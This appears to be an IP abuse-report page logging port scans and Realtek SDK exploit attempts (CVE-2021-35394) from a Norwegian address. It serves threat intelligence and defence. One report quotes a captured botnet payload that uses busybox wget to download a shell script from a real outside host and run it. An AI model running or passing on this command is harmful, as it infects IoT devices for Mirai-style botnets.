178.232.40.3

Recent Activity This IP has received recent abuse reports, which causes the score to increase.
Abuse Confidence Score
85% Critical
15 reports
15 reporters · latest 12 hours ago
ISP
Telia Norge AS
Usage Type
Fixed Line ISP
ASN
AS25400
Domain Name
telia.no
Country
🇳🇴 Norway
City
Oslo, Oslo
Log in to view charts and search reports for this IP. Log In
Example preview
Account required for the enhanced features Log in Sign up

Abuse Reports

Total reports
15 from 15 distinct reporters
First reported
Most recent report
Last 60 days
Top reporter locations 🇧🇷 Brazil 3 🇵🇱 Poland 2 🇺🇸 United States of America 2
Most common categories Port Scan 10 Hacking 5 Exploited Host 3 IoT Targeted 2 Brute-Force 1
Recent reports We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.
Reporter IoA Timestamp (UTC) Comment Categories
🇺🇸 HamSammich
Automated sensor: 1 port 9034 connection/probe attempts over the last 24h (latest 2026-11-10T12:29Z).
Port Scan
🇧🇷 chronos
Unknown service: Connection attempt to UDP port 9034. | Port: 9034 | Proto: UDP | rDNS: cm-178.232.40.3.get.no | AS: AS25400 Telia Norge AS | Location: Norway, Oslo (~20km)
Port Scan
🇮🇩 leomardsy_
Port Scan
🇵🇱 ToJa
Port Scan, brute force, Mirai or Gafgyt/Bashlite infection attempt. Payload: orf;cd /tmp;rm wget.sh;/bin/busybox wget http://58.211.144.243:800/wget.sh;sh wget.sh realtek; #
Port Scan Brute-Force Exploited Host IoT Targeted
🇺🇸 grassyloki
Hacking IoT Targeted Port Scan
🇫🇮 Maxetow
Scan port: 9034 | 1 total | size=124B
Port Scan
🇬🇧 Nov
Unauthorized access attempt (udp/9034)
Port Scan
🇮🇹 Malwhunter
Suricata IDS (pfSense): ET EXPLOIT Realtek SDK - Command Execution/Backdoor Access Inbound (CVE-2021-35394) - 1 event(s) to UDP/9034 between 2026-11-09 12:57:05 and 12:57:05 (Europe/Rome)
Hacking
🇮🇪 RoboSOC
Realtek Jungle SDK Remote Code Execution Vulnerability, PTR: cm-178.232.40.3.get.no.
Hacking
🇧🇷 diego
[rede-44-49] 11/09/2026-07:38:45.771801, 178.232.40.3, Protocol: 17, ET EXPLOIT Realtek SDK - Command Execution/Backdoor Access Inbound (CVE-2021-35394)
Hacking
🇨🇭 SOC [GOLINE SA]
Exploited Host Hacking
🇵🇱 bart@
Automated scan detection against redacted protected targets. Hits=1; port 9034 proto 17 detection dark_ip
Port Scan
🇧🇷 SOC Blue Team
Tatic: TA0002 | Technique: T1203 | Source: TAP | Country Destination: BR
Exploited Host
🇩🇪 iNetWorker
firewall-block, port(s): 9034/udp
Port Scan
Anonymous
suricata IPS/IDS detection, ruleset ET EXPLOIT Realtek SDK - Command Execution/Backdoor Access Inbound (CVE-2021-35394)
Port Scan

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇮🇪 212.129.78.253
🇲🇳 202.70.37.20
🇦🇷 181.174.139.42
🇺🇸 142.173.166.74
🇨🇳 58.23.76.57
🇲🇾 49.124.155.176
🇲🇾 49.124.151.81
🇳🇱 45.148.10.157
🇺🇸 35.237.94.18
🇺🇸 206.189.203.70
🇨🇱 201.186.252.81
🇭🇳 181.115.59.232
🇵🇪 179.6.161.160
🇺🇸 173.61.180.94
🇩🇪 167.94.146.55
🇩🇪 165.227.144.7
🇩🇰 154.14.31.34
🇩🇪 150.241.115.69
🇺🇸 147.185.132.88
🇺🇸 147.78.180.12
feedback